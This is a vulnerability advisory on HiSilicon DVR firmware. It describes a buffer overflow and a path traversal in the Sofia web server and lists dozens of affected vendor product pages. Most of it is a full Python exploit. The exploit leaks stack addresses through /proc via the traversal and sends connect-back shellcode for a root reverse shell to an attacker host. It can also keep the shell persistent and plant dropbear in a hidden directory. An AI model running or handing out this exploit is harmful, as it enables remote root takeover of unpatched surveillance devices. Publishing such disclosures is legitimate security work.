SSD Advisory – HiSilicon Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes 2 vulnerabilities found in HiSilicon application-specific integrated circuit (ASIC) chip set firmware.
HiSilicon provides ASICs and solutions for communication network and digital media. These ASICs are widely used in over 100 countries and regions around the world. In the digital media field, HiSilicon has already released the SoC and solution for network surveillance, videophone, DVB and IPTV.
The vulnerabilities found in HiSilicon ASIC firmware are:

  1. Buffer overflow in built-in webserver
  2. Directory path traversal built-in webserver

The list of vendors working with HiSilicon is unknown. We manage to identify 55 different vendors, all of them are still vulnerable.
Here is example of 10 vendors using the HiSilicon application-specific integrated circuit (ASIC) chip set in their products (the full list can be found in the end of this report):

  1. http://www.vacron.com/products_CCTV_dvr.html
  2. http://www.gess-inc.com/gess/dvrs/
  3. http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175
  4. http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D
  5. http://optimus-cctv.ru/catalog/ahd-videoregistratory
  6. http://www.clearcftv.com.br/linha.php?l=5&ln=ahd
  7. http://click-cam.com/html2/products.php?t=2
  8. http://www.ccd.dn.ua/ahd-videoregistratory.html
  9. http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/
  10. http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr

Credit
An independent security researcher Istvan Toth has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We tried to communicate with the vendor through emails and twitter, over the course of several months, we were unable to get any response.

Vulnerabilities Details
Buffer overflow in built-in web server
The built-in web server is provided by the binary file Sofia, this binary is vulnerable to a buffer overflow and can be exploited to run shellcode (as root) on the device.
The web server does not check the HTTP GET request size. To exploit the vulnerability, all you need to do is craft an HTTP GET request with an URL that contains “a”*299 + “xxxx” in it.
Where “xxxx” controls PC register (program flow). The hardware does not enable the NX bit, which makes it possible to execute the shellcode found in the “a”*299 section. However, a stack address leak is needed in order to defeat ASLR.
Directory traversal built-in web server
The built-in web server suffers from a directory path traversal vulnerability which can be exploited to leak arbitrary files.
The vulnerability is also found in the web server binary `Sofia` which is running with root privileges, therefore, exploiting this directory traversal can be used to read from device file system – which makes it easy to bypass the ASLR.
The web server do not filter HTTP GET request. To exploit the vulnerability, all you need to do is to craft HTTP GET request with “../../etc/passwd HTTP” to read file “/etc/passwd“. Furthermore, dir listing is enabled as well.
Proof of Concept
By exploiting the directory traversal built-in web server we can bypass ASLR needed to exploit the buffer overflow. The file system located at /proc contains a lot of information about running processes, e.g. contains memory mappings. Therefore requesting “GET ../../proc/[pid]/maps HTTP” will read the memory mapping of process whose pid is [pid]. By observing the memory mapping patterns it is enough to defeat ASLR (offset from mem map base is the same, even in different versions).

#!/usr/bin/env python2
from pwn import *
from time import sleep
import re
import argparse
import os
parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
parser.add_argument('--rhost', help='target host', required=True)
parser.add_argument('--rport', help='target port', default=80)
parser.add_argument('--lhost', help='connectback ip', required=True)
parser.add_argument('--lport', help='connectback port', default=31337)
parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
parser.add_argument('--bport', help='listen port to bind (default: connectback)')
parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
parser.add_argument('-i', '--interactive', help='select stack memory region interactievly (rather than using autodetection)', action='store_true')
parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')
args = parser.parse_args()
target_host = args.rhost
target_port = int(args.rport)
sofia_cmdline = args.cmdline
if args.interactive:
    getleak_interactive = True
else:
    getleak_interactive = False
if args.persistent:
    shell_persistent = True
else:
    shell_persistent = False
if args.upload:
    shell_upload = True
else:
    shell_upload = False
connectback_host = args.lhost
connectback_port = int(args.lport)
if args.bhost:
    listen_host = args.bhost
else:
    listen_host = connectback_host
if args.bport:
    listen_port = int(args.bport)
else:
    listen_port = connectback_port
# get pid of running dvr binary '/var/Sofia'
def findpid():
    with log.progress('getting pidlist') as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc HTTP')
        pids = []
        for line in r.recvall().splitlines():
            res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
            if res:
                pids.append(int(res.group(1)))
        r.close()
        context.log_level = c
        logp.success('found %d processes' % len(pids))
    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
        pid_sofia = None
        pids.sort(reverse=True)
        for pid in pids:
            logp.status(str(pid))
            c = context.log_level
            context.log_level = 'error'
            r = remote(target_host, target_port)
            r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
            resp = r.recvall().splitlines()
            r.close()
            context.log_level = c
            if sofia_cmdline + '\x00' == resp[-1]:
                pid_sofia = pid
                logp.success(str(pid_sofia))
                break
        if not pid_sofia:
            logp.failure('did not found')
    return pid_sofia
def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
        if "Hardware" in l:
            modelnumber = l.split(":")[1].split('"')[1]
    r.close()
    context.log_level = c
    return modelnumber
def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
# getting stack section base address
# 'k' defines the section which contains the stack
def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc/%d/smaps HTTP' % pid)
        smaps = []
        memStart = False
        for line in r.recvall().splitlines():
            if memStart:
                t += (int(line.split()[1]),)
                i += 1
                #if i >= 14:
                if i >= 7:
                    smaps.append((memStart, t))
                    memStart = False
            if 'rwxp' in line:
                memStart = int(line.split('-')[0], 16)
                i = 0
                t = ()
        guess = guessregion(smaps)
        if guess < 0 or interactive:
            j = 0
            for i in smaps:
                print (j, hex(i[0]), i[1:])
                j += 1
            k = int(raw_input('enter stack region id (guessed value = %d): ' % guess))
        else:
            k = guess
        leak = smaps[k][0]
        r.close()
        context.log_level = c
        logp.success(hex(leak))
    return leak
# connectback shellcode
# badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26
def shellcode(lhost, lport):
    badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]
    badchars = map(chr, badchars)
    xscode  = "01108fe211ff"
    xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223"
    xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4"
    xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858"
    xscode += "ffffc046efbeadde"
    h = lambda x: hex(int(x))[2:]
    h2 = lambda x: h(x).zfill(2)
    xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:]
    xscode = xscode.decode('hex')
    for badchar in badchars:
        if badchar in xscode:
            raise NameError('badchar %s in shellcode!' % hex(ord(badchar)))
    return xscode
def restart_dvrapp(c):
    with log.progress('restarting dvr application') as logp:
        logp.status('looking up dvrhelper process')
        c.sendline('ps')
        cmdline = ''
        while not 'dvrHelper' in cmdline:
            cmdline = c.recvline()
        cmdline = cmdline.split()
        while not 'ps' in c.recvline():
            pass
        sleep(1)
        logp.status('killing dvrhelper')
        c.sendline('kill %s' % cmdline[0])
        sleep(1)
        cmdline_dvrhelper = ' '.join(cmdline[4:])
        logp.status('starting dvrhelper: %s' % cmdline_dvrhelper)
        c.sendline(cmdline_dvrhelper + ' 2>/dev/null &')
        sleep(1)
        c.recvuntil(sofia_cmdline)
        c.recvline()
def upload_tools(c):
    with log.progress('uploading tools to /var/.tools') as logp:
        logp.status('creating dir')
        c.sendline('rm -fr /var/.tools')
        sleep(1)
        c.sendline('mkdir /var/.tools')
        sleep(1)
        tools = ['dropbear']
        upload_blocksize = 1024
        for tool in tools:
            toolsize = os.path.getsize('./tools/%s' % tool)
            b = 0
            fp = open("./tools/%s" % tool, "rb")
            for chunk in iter(lambda: fp.read(upload_blocksize), ''):
                chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])
                c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool))
                b += len(chunk)
                logp.status('%s: %d/%d' % (tool, b, toolsize))
                sleep(0.1)
            fp.close()
            c.sendline('chmod +x /var/.tools/%s' % tool)
            sleep(1)
        logp.success(' '.join(tools))
log.info('target is %s:%d' % (target_host, target_port))
if not args.nolisten:
    log.info('connectback on %s:%d' % (listen_host, listen_port))
with log.progress("assembling shellcode") as logp:
    xscode = shellcode(connectback_host, connectback_port)
    logp.success("done. length is %d bytes" % len(xscode))
with log.progress("identifying model number") as logp:
    modelnumber = getmodelnumber()
    logp.success(modelnumber)
log.info('exploiting dir path traversal of web service to get leak addresses')
stack_section_base = getleak(findpid(), getleak_interactive)
stack_offset = args.offset
stack_20 = stack_section_base + stack_offset + 20
log.info('shellcode address is ' + hex(stack_20))
payload  = "GET "
payload += xscode
payload += "a" * (299 - len(xscode))
payload += p32(stack_20)
payload += " HTTP"
log.info('exploiting buffer overflow in web service url path')
log.info('remote shell should gained by connectback shellcode!')
if not args.nolisten:
    l = listen(bindaddr=listen_host, port=listen_port, timeout=5)
    c = l.wait_for_connection()
r = remote(target_host, target_port)
r.sendline(payload)
r.recvall(timeout=5)
r.close()
if not args.nolisten:
    if shell_persistent:
        restart_dvrapp(c)
    if shell_upload:
        upload_tools(c)
    c.interactive()

List of vulnerable vendors and products:
The following is a long list of vulnerable vendor/devices, it is by no means exhaustive or complete.

  1. http://www.luxvision.com.br/category/dvr-ahd/
  2. http://www.yesccd.com/?products/DigitalVideoRecorder.html
  3. http://www.tvzsecurity.com.br/produtos/31/Stand-Alone
  4. http://showtec.com.br/dv-stand-alone/
  5. http://www.ecotroniccftv.com.br/index.php
  6. http://starligh.com/cctv/grabadoras.html
  7. http://www.activepixel.us/ap-0404-ahd.html
  8. http://j2000.ru/cat/DVR/
  9. http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html
  10. http://kenik.pl/index.php/tag/rejestrator/
  11. http://www.redebsd.com.br/categoria-25-gravacao-digital
  12. http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html
  13. http://www.visagems.com.br/prd.asp?idP=1119575
  14. http://www.braskell.com.br/dvr.html
  15. http://www.segvideo.com/segvideo/nvr-hvr.html
  16. http://www.neocam.com.br/cameras-cftv/stand-alone
  17. http://www.venetian.com.br/categoria/dvr-hvr-04-canais/
  18. http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html
  19. http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html
  20. http://www.vixline.com.br/vitrine-de-produtos/dvrs/
  21. http://aliveelectronics.com.br/category/gravadores-de-video/
  22. http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm
  23. http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html
  24. http://www.vonnic.ca/products376e.html?cat=13
  25. http://polyvision.ru/polyvision/catalog_gibridnye.html
  26. http://altcam.ru/video/hd-videonabludenie/
  27. http://cyfron.ru/catalog/dvr/
  28. http://www.jassun.ru/home/products/f_FormFactor[like]=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80&f_price[from]=2450&f_price[to]=49000&page=1&limit=0
  29. http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
  30. http://www.hiview.co.th/index.php?mo=3&art=42195125
  31. http://www.kkmoon.com/usb-fan-271/p-s413-uk.html
  32. http://qvisglobal.com/ahd-tvi-960h-hybrid
  33. https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html
  34. http://www.novicam.ru/index.php?route=product/product&product_id=429
  35. http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf
  36. http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884
  37. http://giraffe.by/catalog/tsifrovye-videoregistratory
  38. http://www.winpossee.com/en/list/?17_1.html
  39. http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html
  40. http://hiq-electronics.ru/videoregistratory
  41. http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc
  42. http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0
  43. http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html
  44. http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
  45. http://www.divitec.ru/videoregistratoryi-divitec-idvr/

?

Get in touch